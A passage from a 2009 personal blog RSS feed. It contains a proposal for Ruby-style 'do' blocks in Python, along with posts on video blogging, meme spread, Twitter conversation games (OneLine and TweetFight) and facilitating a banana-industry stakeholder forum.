<div class="syntax"><pre><span class="no">Rails</span><span class="o">::</span><span class="no">Initializer</span><span class="o">.</span><span class="n">run</span> <span class="k">do</span> <span class="o">|</span><span class="n">config</span><span class="o">|</span><br/>    <span class="n">config</span><span class="o">.</span><span class="n">time_zone</span> <span class="o">=</span> <span class="s1">&#39;UTC&#39;</span><br/>    <span class="n">config</span><span class="o">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="ss">:debug</span><br/><span class="k">end</span><br/></pre></div>
</blockquote>
<p>Unless I am missing something fundamental, adding a <tt class="docutils literal"><span class="pre">do</span></tt> statement seems to
lend itself to doing blocks in a Pythonic way.</p>
<p>For those of you that don't know Ruby, <a class="reference external" href="http://www.artima.com/intv/closures.html">blocks</a> are simply syntactic sugar for
defining anonymous functions/closures.</p>
<p>This is already possible in Python using the rather complicated-looking
<tt class="docutils literal"><span class="pre">lambda</span></tt> keyword:</p>
<blockquote>
<div class="syntax"><pre><span class="n">employees</span><span class="o">.</span><span class="n">select</span><span class="p">(</span><span class="k">lambda</span> <span class="n">e</span><span class="p">:</span> <span class="n">e</span><span class="o">.</span><span class="n">salary</span> <span class="o">&gt;</span> <span class="n">developer</span><span class="o">.</span><span class="n">salary</span><span class="p">)</span><br/></pre></div>
</blockquote>
<p>In contrast, Ruby provides the really sexy:</p>
<blockquote>
<div class="syntax"><pre><span class="n">employees</span><span class="o">.</span><span class="n">select</span> <span class="p">{</span><span class="o">|</span><span class="n">e</span><span class="o">|</span> <span class="n">e</span><span class="o">.</span><span class="n">salary</span> <span class="o">&gt;</span> <span class="n">developer</span><span class="o">.</span><span class="n">salary</span><span class="p">}</span><br/></pre></div>
</blockquote>
<p>Where <tt class="docutils literal"><span class="pre">lambda</span></tt> limits Python developers to just expressions, Ruby allows for
full multi-line blocks:</p>
<blockquote>
<div class="syntax"><pre><span class="n">employees</span><span class="o">.</span><span class="n">select</span> <span class="k">do</span> <span class="o">|</span><span class="n">emp</span><span class="o">|</span><br/>    <span class="k">if</span> <span class="n">emp</span><span class="o">.</span><span class="n">salary</span> <span class="o">&gt;</span> <span class="n">developer</span><span class="o">.</span><span class="n">salary</span><br/>        <span class="n">fireEmployee</span><span class="p">(</span><span class="n">emp</span><span class="p">)</span><br/>    <span class="k">else</span><br/>        <span class="n">extendContract</span><span class="p">(</span><span class="n">emp</span><span class="p">)</span><br/>    <span class="k">end</span><br/><span class="k">end</span><br/></pre></div>
</blockquote>
<p>This is also possible in Python but at the needless cost of naming and defining
a function first:</p>
<blockquote>
<div class="syntax"><pre><span class="k">def</span> <span class="nf">throwaway_function</span><span class="p">(</span><span class="n">emp</span><span class="p">):</span><br/>    <span class="k">if</span> <span class="n">emp</span><span class="o">.</span><span class="n">salary</span> <span class="o">&gt;</span> <span class="n">developer</span><span class="o">.</span><span class="n">salary</span><span class="p">:</span><br/>        <span class="k">return</span> <span class="n">fireEmployee</span><span class="p">(</span><span class="n">emp</span><span class="p">)</span><br/>    <span class="k">else</span><span class="p">:</span><br/>        <span class="k">return</span> <span class="n">extendContract</span><span class="p">(</span><span class="n">emp</span><span class="p">)</span><br/><br/><span class="n">employees</span><span class="o">.</span><span class="n">select</span><span class="p">(</span><span class="n">throwaway_function</span><span class="p">)</span><br/></pre></div>
</blockquote>
<p>This is where my proposed <tt class="docutils literal"><span class="pre">do</span></tt> statement comes in, it would simplify the above
to:</p>
<blockquote>
<div class="syntax"><pre><span class="k">using</span> <span class="n">employees</span><span class="o">.</span><span class="n">select</span> <span class="k">do</span> <span class="p">(</span><span class="n">emp</span><span class="p">):</span><br/>    <span class="k">if</span> <span class="n">emp</span><span class="o">.</span><span class="n">salary</span> <span class="o">&gt;</span> <span class="n">developer</span><span class="o">.</span><span class="n">salary</span><span class="p">:</span><br/>        <span class="k">return</span> <span class="n">fireEmployee</span><span class="p">(</span><span class="n">emp</span><span class="p">)</span><br/>    <span class="k">else</span><span class="p">:</span><br/>        <span class="k">return</span> <span class="n">extendContract</span><span class="p">(</span><span class="n">emp</span><span class="p">)</span><br/></pre></div>
</blockquote>
<p>Which is hopefully simple and Pythonic enough to everyone's tastes to make this
a reality for Python 2.7 and 3.1.</p>
<p>To facilitate this the grammar would need to be extended to something like:</p>
<pre class="literal-block">
using_stmt ::=
  &quot;using&quot; expression &quot;do&quot; [parameter_list] &quot;:&quot; suite
</pre>
<p>And when the do keyword is encountered, functionality should be delegated to a
<tt class="docutils literal"><span class="pre">__do__</span></tt> function in the same way that the <tt class="docutils literal"><span class="pre">import</span></tt> keyword delegates to
<tt class="docutils literal"><span class="pre">__import__</span></tt>.</p>
<p>The delegation should map the following syntax:</p>
<pre class="literal-block">
using EXPR do PARAM_LIST:
    BLOCK_CODE
</pre>
<p>into the function call:</p>
<pre class="literal-block">
__do__(expr, callback, globals, locals)
</pre>
<p>Where <tt class="docutils literal"><span class="pre">callback</span></tt> is a function named &lsquo;&lt;callback&gt;&rsquo; compiled with PARAM_LIST as
its parameter_list and BLOCK_CODE as the function body. Like with import,
<tt class="docutils literal"><span class="pre">globals()</span></tt> and <tt class="docutils literal"><span class="pre">locals()</span></tt> should be from the scope of the do statement.</p>
<p>As a starting point for discussion, I would like to propose the following as the
default __do__ function:</p>
<blockquote>
<div class="syntax"><pre><span class="k">def</span> <span class="nf">__do__</span><span class="p">(</span><span class="n">expr</span><span class="p">,</span> <span class="n">callback</span><span class="p">,</span> <span class="nb">globals</span><span class="p">,</span> <span class="nb">locals</span><span class="p">):</span><br/>    <span class="n">retval</span> <span class="o">=</span> <span class="bp">None</span><br/>    <span class="k">while</span> <span class="mf">1</span><span class="p">:</span><br/>        <span class="k">try</span><span class="p">:</span><br/>            <span class="n">args</span> <span class="o">=</span> <span class="n">expr</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">retval</span><span class="p">)</span><br/>            <span class="k">if</span> <span class="ow">not</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">args</span><span class="p">,</span> <span class="nb">tuple</span><span class="p">):</span><br/>                <span class="n">args</span> <span class="o">=</span> <span class="p">(</span><span class="n">args</span><span class="p">,)</span><br/>            <span class="n">retval</span> <span class="o">=</span> <span class="n">callback</span><span class="p">(</span><span class="o">*</span><span class="n">args</span><span class="p">)</span><br/>        <span class="k">except</span> <span class="ne">StopIteration</span><span class="p">:</span><br/>            <span class="k">break</span><br/></pre></div>
</blockquote>
<p>This works thanks to Python's support of coroutines through generators <a class="reference external" href="http://www.python.org/dev/peps/pep-0342/">[PEP
342]</a> and would cover the common
case of a generator instance being passed in as the EXPR.</p>
<p>And it just so happens to mirror the semantics of Ruby blocks quite beautifully:</p>
<blockquote>
<pre class="doctest-block">
<span class="doctest-input">&gt;&gt;&gt; def generator():</span>
<span class="doctest-input">...     yield</span>
<span class="doctest-input">...     yield</span></pre>
<pre class="doctest-block">
<span class="doctest-input">&gt;&gt;&gt; using generator() do:</span>
<span class="doctest-input">...     print &quot;hello world&quot;</span>
<span class="doctest-output">hello world</span>
<span class="doctest-output">hello world</span></pre>
</blockquote>
<p>The only aspect missing is Ruby's <tt class="docutils literal"><span class="pre">block_given?</span></tt> but that could easily be
supported by alternative __do__ implementations if the need arises.</p>
<p>I expect the dominant usage of blocks to be for the creation of DSLs. This has
almost become an art form in the Ruby world &mdash; with everything from Rake tasks
to Rails configuration being done through <a class="reference external" href="http://www.daniel-azuma.com/blog/view/z3bqa0t01uugg1/implementing_dsl_blocks">mini-DSLs built using blocks</a>.</p>
<p>It would be interesting to see what the Python world comes up with. The ability
to custom define __do__ would allow Python hackers to do some really cool shit
with blocks that Ruby hackers can't do for the moment.</p>
<p>And I can imagine a lot of existing frameworks like <a class="reference external" href="http://twistedmatrix.com/">Twisted</a>, <a class="reference external" href="http://peak.telecommunity.com/DevCenter/Trellis">Trellis</a>, <a class="reference external" href="http://wiki.secondlife.com/wiki/Eventlet">Eventlet</a> and <a class="reference external" href="http://www.djangoproject.com/">Django</a> becoming even more simplified and powerful
thanks to blocks.</p>
<p>What do you think?</p>
<p><strong>Idealist Addendum:</strong></p>
<blockquote>
<p>Whilst I believe the above should suit Guido's taste, I am not so sure of the
following. But in an ideal world, he would give it his blessing, so here goes
=)</p>
<p>Ideally the do statement would map the following syntax:</p>
<pre class="literal-block">
using EXPR1 do EXPR2:
    BLOCK_CODE
</pre>
<p>into the function call:</p>
<pre class="literal-block">
__do__(expr1, expr2, block_code, indent_level, globals, locals)
</pre>
<p>This would give the __do__ function even more flexibility at very little cost.
By default, EXPR2 would be treated as PARAM_LIST and together with BLOCK_CODE
it would be compiled into the callback function described above.</p>
<p>But more enterprising __do__ functions could do interesting things like
rewriting the AST of the BLOCK_CODE. Given that this is already done by many
many Python libraries, it's not much of a stretch of the imagination. The
benefit? Super nice Pythonic DSLs!</p>
</blockquote>
<p>Anyways, that's enough ranting for one morning. What do you think? Let me know
in the comments or on the <a class="reference external" href="http://mail.python.org/mailman/listinfo/python-dev">Python-Dev</a> mailing list.</p>
<p>&mdash; Thanks, <a class="reference external" href="http://twitter.com/tav">&#64;tav</a></p>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://www.asktav.com/ruby-style-blocks-in-python.html</feedburner:origLink></item><item>
    <title>Becoming a Film Maker</title>
    <guid isPermaLink="false">http://www.asktav.com/becoming-a-film-maker.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/HzX8Ou5-Mdk/becoming-a-film-maker.html</link>
    <pubDate>Fri, 06 Mar 2009 05:38:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>I've decided to ease into film making by becoming a video blogger. By the time I
am proficient enough with video editing, the stage should be set for <a class="reference external" href="http://en.wikipedia.org/wiki/The_Diamond_Age">ractives</a> ;p</p>
<div class="float-right">
<object width="480" height="295"><param name="movie" value="http://www.youtube.com/v/cO9JqzWyRbs&amp;hl=en&amp;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/cO9JqzWyRbs&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="295"></embed></object>
</div><p>So I need your help. Because I know fuck all about filming or editing.</p>
<p>Despite creating the likes of <a class="reference external" href="http://www.green.tv">green.tv</a> and setting up an entire company to provide online video
services, my knowledge of film making is close to non-existent.</p>
<p>If you want to know about scalable online distribution or digital video
encoding, then I can give you expert advice. But film making? Not a clue.</p>
<p>The closest I've ever gotten to actual editing was as part of the Video
Production Society at <a class="reference external" href="http://www.dulwich.org.uk">Dulwich College</a>. Back then
it was mostly analog and Adobe Premiere 1.0 just gave me lots of headaches.</p>
<p>So as I get back into it over 15 years later, my setup is:</p>
<ul class="simple">
<li>Core 2 Duo 2.4Ghz Macbook w/ 4GB of RAM</li>
<li>External 1TB Networked Hard Drive</li>
<li>iLife '08, iWork '09</li>
<li>Final Cut Express, Logic Express</li>
</ul>
<p>Is this good enough? I didn't go for the Pro versions given the price and
decided to ease myself in with the Express versions. Would iMovie have been
enough?</p>
<p>What are tutorials, podcasts and websites I should check out to get started very
quickly?</p>
<p>As for the video capturing process, should I shell out on an actual camera or is
something like <a class="reference external" href="http://www.theflip.com/">the Flip</a> good enough to get started
with?</p>
<div class="float-left">
<a href="http://blog.vincentlaforet.com/2008/11/26/7-days-7-shoots-eos-5d-mkii/"><img
src="http://release.plexnet.org/gfx/tav.blog/photo-vincent-laforet-5d-sample.jpg"
alt="Sweet Shot" /></a><br />
<div>by <a
href="http://blog.vincentlaforet.com/2008/11/26/7-days-7-shoots-eos-5d-mkii/">Vincent
Laforet</a></div>
</div><p>I've been drooling over the <a class="reference external" href="http://gizmodo.com/tag/canon-5d-mark-ii/">Canon 5D Mark II</a>. It produces the stunning visuals
you see in this article!!</p>
<p>I don't of course expect to produce anything quite so spectacular yet. But if
one day I could afford to buy it, would it be any better than a Flip in the
hands of a newbie like myself?</p>
<p>And, finally, instead of hosting the videos myself, it seems that it's better to
put them up on sites with active communities.</p>
<p>I've <a class="reference external" href="http://www.vimeo.com/asktav">signed up to Vimeo</a> for this as they seem
to have really vibrant and artistic community. Is this a good choice?</p>
<p>Have any of you been video blogging or film making? What have your experiences
been? Am I approaching all this completely wrong?</p>
<p>Please let me know any thoughts you may have in the comments. Thanks!</p>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><media:content url="http://feedproxy.google.com/~r/asktav/~5/ZXcTYy9Bzbo/cO9JqzWyRbs&amp;amp;hl=en&amp;amp;fs=1" fileSize="2655" type="application/x-shockwave-flash" /><itunes:explicit>no</itunes:explicit><itunes:author>tav</itunes:author><feedburner:origLink>http://www.asktav.com/becoming-a-film-maker.html</feedburner:origLink><enclosure url="http://feedproxy.google.com/~r/asktav/~5/ZXcTYy9Bzbo/cO9JqzWyRbs&amp;amp;hl=en&amp;amp;fs=1" length="2655" type="application/x-shockwave-flash" /><feedburner:origEnclosureLink>http://www.youtube.com/v/cO9JqzWyRbs&amp;amp;hl=en&amp;amp;fs=1</feedburner:origEnclosureLink></item><item>
    <title>Meme Time Tending to Zero</title>
    <guid isPermaLink="false">http://www.asktav.com/meme-time-tending-to-zero.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/AxCC8Ub2LHk/meme-time-tending-to-zero.html</link>
    <pubDate>Thu, 05 Mar 2009 06:56:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>It's no secret that Meme Time &mdash; the average time taken for a <a class="reference external" href="http://en.wikipedia.org/wiki/Meme">meme</a> to spread far and wide &mdash; has been getting
shorter. Scarily so. It took Christianity over a 1,000 years to achieve what
Facebook has done in less than 4 years.</p>
<p>This thought-provoking video is worth watching:</p>
<div class="center">
<object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/jpEnFwiqdx8&amp;hl=en&amp;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/jpEnFwiqdx8&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object>
</div><p>It reinforces the words of <a class="reference external" href="http://twitter.com/evangineer">Mamading Ceesay</a>:
&quot;The whole world is going to be experiencing environmentally-induced <a class="reference external" href="http://en.wikipedia.org/wiki/Attention-deficit_hyperactivity_disorder">ADHD</a> pretty
soon&quot;.</p>
<p>Which leads me to worry about the social implications of this increasing pace.
Being able to overcome information overload and limiting your attention to what
really matters to you is going to be absolutely vital in the future.</p>
<p>But if we are going to prepare for that, we also need to know the rate of the
current flow. How long does it take for a meme to become a part of daily life
for a population of 10 million people? How long does it take for a meme to be
known by 100 million people?</p>
<p>By knowing these and other related data points to &ldquo;Meme Time&rdquo;, we would be
better placed to adapt. Maybe we are heading towards <a class="reference external" href="http://en.wikipedia.org/wiki/Technological_singularity">The Singularity</a> after all?</p>
<p>Would it be possible to start gathering enough statistics to get a relatively
accurate picture? How could we do this so that it brings the greatest benefits
to everyone? How would we handle the privacy issues?</p>
<p>As usual, let me know your thoughts in the comments. Thanks!</p>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><media:content url="http://feedproxy.google.com/~r/asktav/~5/VQO3QtQ-hpI/jpEnFwiqdx8&amp;amp;hl=en&amp;amp;fs=1" fileSize="2655" type="application/x-shockwave-flash" /><itunes:explicit>no</itunes:explicit><itunes:author>tav</itunes:author><feedburner:origLink>http://www.asktav.com/meme-time-tending-to-zero.html</feedburner:origLink><enclosure url="http://feedproxy.google.com/~r/asktav/~5/VQO3QtQ-hpI/jpEnFwiqdx8&amp;amp;hl=en&amp;amp;fs=1" length="2655" type="application/x-shockwave-flash" /><feedburner:origEnclosureLink>http://www.youtube.com/v/jpEnFwiqdx8&amp;amp;hl=en&amp;amp;fs=1</feedburner:origEnclosureLink></item><item>
    <title>Daft Punk Alive?</title>
    <guid isPermaLink="false">http://www.asktav.com/daft-punk-alive.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/NJyXwKC5gjg/daft-punk-alive.html</link>
    <pubDate>Wed, 04 Mar 2009 00:06:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<div class="float-right">
<object width="425" height="344"><param name="movie"
value="http://www.youtube.com/v/4ItqVgaTIjI&amp;hl=en&amp;fs=1"></param><param
name="allowFullScreen" value="true"></param><param name="allowscriptaccess"
value="always"></param><embed
src="http://www.youtube.com/v/4ItqVgaTIjI&amp;hl=en&amp;fs=1"
type="application/x-shockwave-flash" allowscriptaccess="always"
allowfullscreen="true" width="425" height="344"></embed></object>
</div><p>This year has been great for music. My favourite musician, <a class="reference external" href="http://en.wikipedia.org/wiki/A._R._Rahman">A. R. Rahman</a>, won 2 Oscars whilst my favourite
band, <a class="reference external" href="http://www.myspace.com/daftpunk">Daft Punk</a>, won 2 Grammys!</p>
<p>As much as one might try to hate the French, you just can't knock Daft Punk.
Their music is great and they are amazing performers.</p>
<p>But for the love of Google, I have been able to find sweet fuck all for <a class="reference external" href="http://www.google.com/search?q=daft+punk+tour+dates+2009">Daft
Punk tour dates in 2009</a>.</p>
<p>So if any of you happen to know where they can be seen in the near future,
please let me know in the comments!!</p>
<p>And if any of you happen to know them personally, then I'd love for them to
perform at my birthday sometime. It doesn't have to be this year, next year is
fine too ;p</p>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><media:content url="http://feedproxy.google.com/~r/asktav/~5/7lAGoesGd1I/4ItqVgaTIjI&amp;amp;hl=en&amp;amp;fs=1" fileSize="2655" type="application/x-shockwave-flash" /><itunes:explicit>no</itunes:explicit><itunes:author>tav</itunes:author><feedburner:origLink>http://www.asktav.com/daft-punk-alive.html</feedburner:origLink><enclosure url="http://feedproxy.google.com/~r/asktav/~5/7lAGoesGd1I/4ItqVgaTIjI&amp;amp;hl=en&amp;amp;fs=1" length="2655" type="application/x-shockwave-flash" /><feedburner:origEnclosureLink>http://www.youtube.com/v/4ItqVgaTIjI&amp;amp;hl=en&amp;amp;fs=1</feedburner:origEnclosureLink></item><item>
    <title>Oneline: Constructive Conversations on Twitter</title>
    <guid isPermaLink="false">http://www.asktav.com/oneline.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/c4RgcLX8zLo/oneline.html</link>
    <pubDate>Tue, 03 Mar 2009 11:12:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p><a class="reference external" href="http://twitter.com/happyseaurchin">David Pinto</a> had this wonderful insight
that the quality of conversations could go up dramatically if each participant
was limited to saying just one sentence at a time.</p>
<div class="float-right">
<a href="http://flickr.com/photos/moriza/2565606353/"><img
src="http://farm4.static.flickr.com/3137/2565606353_d2c7001e2c.jpg"
alt="Friendlies in conversation" /></a><br />
<div class="image-caption">
  by <a href="http://flickr.com/photos/moriza/2565606353/">moriza</a>
</div>
</div><p>We practised this in face-to-face conversations and found it to be a great
success!</p>
<p>Paradoxically, limiting the &ldquo;bandwidth&rdquo; led to richer conversations. It
encouraged everyone to <a class="reference external" href="#oneline-listening">truly listen</a> to each other and kept issues on topic.</p>
<p>And, most importantly, it put everyone involved on an equal footing &mdash; allowing
focus to be placed upon the content instead of whoever can dominate the room.</p>
<p>The application of this approach is extremely broad. From resolving personal
conflicts to working out the kinks in a new idea. Try the oneline approach on
Twitter and let me know how it works out for you.</p>
<p><strong>Oneline Rules:</strong></p>
<ol class="arabic simple">
<li>Only 2 people to a oneline dialogue.</li>
<li>You must &#64;reply to keep the conversation going.</li>
<li>All tweets must end with <tt class="docutils literal"><span class="pre">#oneline</span></tt>.</li>
<li>No more than one tweet at a time by each party.</li>
<li>It's over if neither party continues within 24 hours.</li>
</ol>
<div id="oneline-ring"></div><p><strong>Recent Onelines:</strong></p>
<div id="oneline"></div>
<script type="text/javascript" src="http://tav.github.com/static/js/tweetfight.js"></script>
<script type="text/javascript">
  tweetfight_setup('oneline', "OneLine");
</script>
<style type="text/css">
  .tweetfight-time { font-size: 0.9em; color: #888; }
  tr.tweetfight-item td { border-top: 1px dashed #888; padding: 5px; }
</style><p><strong>Krishnamurthy on Listening:</strong></p>
<div class="center" id="oneline-listening">
<object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/JKvz3BdB2EE&amp;hl=en&amp;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/JKvz3BdB2EE&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object>
</div><p>[Also see the more agressive <a class="reference external" href="/tweetfight.html">TweetFight</a> variant if you are
in the mood for a fight rather than a pleasant conversation.]</p>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><media:content url="http://feedproxy.google.com/~r/asktav/~5/Ek2rcMu8PnI/JKvz3BdB2EE&amp;amp;hl=en&amp;amp;fs=1" fileSize="2655" type="application/x-shockwave-flash" /><itunes:explicit>no</itunes:explicit><itunes:author>tav</itunes:author><feedburner:origLink>http://www.asktav.com/oneline.html</feedburner:origLink><enclosure url="http://feedproxy.google.com/~r/asktav/~5/Ek2rcMu8PnI/JKvz3BdB2EE&amp;amp;hl=en&amp;amp;fs=1" length="2655" type="application/x-shockwave-flash" /><feedburner:origEnclosureLink>http://www.youtube.com/v/JKvz3BdB2EE&amp;amp;hl=en&amp;amp;fs=1</feedburner:origEnclosureLink></item><item>
    <title>TweetFight -- Fight Club 2.0</title>
    <guid isPermaLink="false">http://www.asktav.com/tweetfight.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/Of0HtK4m-48/tweetfight.html</link>
    <pubDate>Mon, 02 Mar 2009 02:09:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<div class="float-right">
<a href="http://flickr.com/photos/polinasergeeva/3052374910/"><img
src="http://farm4.static.flickr.com/3188/3052374910_5cb9f1e734_m.jpg"
alt="Fight Club Bloodstained Hands" /></a><br />
<div class="image-caption">
  by <a href="http://flickr.com/photos/polinasergeeva/3052374910/">Polina Sergeeva</a>
</div>
</div><p><strong>TweetFight Rules:</strong></p>
<ol class="arabic simple">
<li>Only 2 people to a tweetfight.</li>
<li>You must &#64;reply your opponent to keep the fight going.</li>
<li>All tweets relating to a fight must end with <tt class="docutils literal"><span class="pre">#tweetfight</span></tt>.</li>
<li>No more than one tweet at a time by each party.</li>
<li>Fights are over if neither party continues within 12 hours.</li>
<li>Last person tweeting wins.</li>
</ol>
<p>Fights can be civil, intellectual or even <a class="reference external" href="http://valleywag.gawker.com/5152016/canuck-rag-regrets-tech-reporters-twitter-tirade">foul</a>.
It's your choice.</p>
<div id="tweetfight-ring"></div><p><strong>Recent TweetFights:</strong></p>
<div id="tweetfight"></div>
<script type="text/javascript" src="http://tav.github.com/static/js/tweetfight.js"></script>
<script type="text/javascript">
  tweetfight_setup('tweetfight', "TweetFight", 12);
</script>
<style type="text/css">
  .tweetfight-time { font-size: 0.9em; color: #888; }
  tr.tweetfight-item td { border-top: 1px dashed #888; padding: 5px; }
</style><p><strong>Credits:</strong></p>
<ul class="simple">
<li><a class="reference external" href="http://twitter.com/evangineer">&#64;evangineer</a> &mdash; Idea of a Twitter &ldquo;Celebrity
Death Match&rdquo;.</li>
<li><a class="reference external" href="http:/twitter.com/happyseaurchin">&#64;happyseaurchin</a> &mdash; Idea of &ldquo;one sentence
at a time&rdquo; to facilitate rich conversations.</li>
<li><a class="reference external" href="http://twitter.com/olasofia">&#64;olasofia</a> &mdash; The Fight Club metaphor.</li>
<li><a class="reference external" href="http://twitter.com/tav">&#64;tav</a> &mdash; Design and implementation.</li>
</ul>
<p>[Also see the more constructive <a class="reference external" href="oneline.html">OneLine</a> variant if you are in
the mood for a conversation rather than a fight.]</p>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://www.asktav.com/tweetfight.html</feedburner:origLink></item><item>
    <title>Facilitating The Banana Industry</title>
    <guid isPermaLink="false">http://www.asktav.com/facilitating-the-banana-industry.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/pIjxTFDmgaQ/facilitating-the-banana-industry.html</link>
    <pubDate>Sun, 01 Mar 2009 19:58:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>Last year, <a class="reference external" href="http://blog.turnupthecourage.com">Sofia</a> and I got invited to
facilitate and help set up a Multi-Stakeholder Forum for the Banana industry.</p>
<div class="float-right">
<a href="http://www.flickr.com/photos/olasofia/3177879142/in/set-72157612292777564/"><img
src="http://farm4.static.flickr.com/3306/3177879142_4eecdcf897.jpg" alt="Tav
and Sofia facilitating the Multi-Stakeholder Forum" /></a>
</div><p>[Well, technically, she got invited and I tagged along as the co-facilitator &mdash;
aka &ldquo;Slave&rdquo;]</p>
<p>The hard working guys at <a class="reference external" href="http://www.bananalink.org.uk/">Banana Link</a> had been
at this for years now. And the seed for it had been set at the <a class="reference external" href="http://www.ibc2.org/">2nd
International Banana Conference</a>.</p>
<p>Our task was to get everyone to talk to each other and commit to being active in
a new body that was representative of all in the industry.</p>
<p>And all this in 3 days.</p>
<p>So we shipped over a whole bunch of <a class="reference external" href="http://www.ryman.co.uk/">stationery</a> to
Amsterdam and got there in time to check out the venue before heading to dinner
with all the other participants.</p>
<p>If we had expected this to be easy in any way, the dinner proved without a doubt
that it was going to be an uphill battle. Everyone was pleasant, but there were
quite clearly 2 separate camps:</p>
<ul class="simple">
<li>The small producers from places like the Philippines, Windward Islands, Costa
Rica, &amp;c. along with their NGO friendlies like the <a class="reference external" href="http://www.fairtrade.org.uk/">Fairtrade Foundation</a>.</li>
<li>The large producers like <a class="reference external" href="http://www.chiquita.com/">Chiquita</a>, <a class="reference external" href="http://www.dole.com/">Dole</a>, &amp;c. who own more than 80% of the Banana export
industry and their retailer friendlies.</li>
</ul>
<p>Many of the representatives even went so far as to keep themselves physically
separated across the tables in the restaurant!</p>
<p>But the fact that all these representatives were willing to be here at least was
a good sign. The only class of key players who were notably absent were Big
Retail: <a class="reference external" href="http://www.walmart.com/">Walmart</a>, <a class="reference external" href="http://www.carrefour.com/">Carrefour</a> and <a class="reference external" href="http://www.tesco.com/">Tesco</a>.</p>
<img alt="http://farm4.static.flickr.com/3124/3177897284_62477d037b_m.jpg" class="float-left" src="http://farm4.static.flickr.com/3124/3177897284_62477d037b_m.jpg" />
<p>So we set to it and over two days a transformation began to take place. The team
of interpreters bridged the language gaps whilst Sofia and I took everyone
through a bastardised process of <a class="reference external" href="http://www.theworldcafe.com/">World Café</a>,
<a class="reference external" href="http://en.wikipedia.org/wiki/Open_Space_Technology">Open Space</a> and
<a class="reference external" href="http://www.dotmocracy.org/">Dotmocracy</a>.</p>
<p>And slowly but surely everyone realised that they did in fact share a lot of the
same problems and ideals!</p>
<p>Very quickly after that consensus was reached on the Multi-Stakeholder Forum.
And everyone, including the big players, made their commitments to it!!</p>
<p>We celebrated the success by dancing the night away in Amsterdam and even
managed to hang out with Steve Alexander and his buddies during their <a class="reference external" href="http://tdams.com/">Improv
Theater performance</a>.</p>
<p>The whole experience was great fun and made us want to bring together similar
bodies across all industries! There isn't enough dialogue taking place with real
action behind it.</p>
<p>It was also the first time Sofia and I had worked together just by ourselves in
an external project and we were great together. It turns out that working
together with your girlfriend <em>can</em> be loads of fun!</p>
<p>Finally, I found the experience extremely enlightening. It forced me to go on a
crash-course (prior to the event) and learn about the various issues relating to
the Banana industry.</p>
<p>And the issues that the various participants brought up helped re-emphasise to
me that the solutions provided by the Plex Economy are very much needed. Not
just bloggers, musicians and coders &mdash; but entire industries &mdash; are ready for
it!</p>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://www.asktav.com/facilitating-the-banana-industry.html</feedburner:origLink></item><item>
    <title>A Week's Difference in the Twitterverse</title>
    <guid isPermaLink="false">http://www.asktav.com/a-weeks-difference-in-the-twitterverse.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/4HPEcTujqsU/a-weeks-difference-in-the-twitterverse.html</link>
    <pubDate>Thu, 26 Feb 2009 04:11:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>It's funny how much of a difference a week can sometimes make. Especially in the
Twitterverse. Case in point, my relationship with Twitter Inc.</p>
<img alt="http://release.plexnet.org/gfx/tav.blog/alex-payne-praise-on-twitter.png" class="float-right" src="http://release.plexnet.org/gfx/tav.blog/alex-payne-praise-on-twitter.png" />
<p>A few weeks ago I had registered several Twitter accounts for use in an upcoming
Twitter application &mdash; Tweet20. I'd registered accounts like: <a class="reference external" href="http://twitter.com/tweetyes">&#64;tweetyes</a>, <a class="reference external" href="http://twitter.com/tweetno">&#64;tweetno</a>,
<a class="reference external" href="http://twitter.com/tweetoffer">&#64;tweetoffer</a>, <a class="reference external" href="http://twitter.com/tweetwant">&#64;tweetwant</a> and <a class="reference external" href="http://twitter.com/tweetlocation">&#64;tweetlocation</a>.</p>
<p>But it turns out that if you register too many accounts concurrently, the
Twitter spam controls are triggered. So a little while after the accounts got
registered, I found to my surprise that most of them had been suspended!!</p>
<p>Slightly surprised at why non-spam accounts would get suspended &mdash; most of those
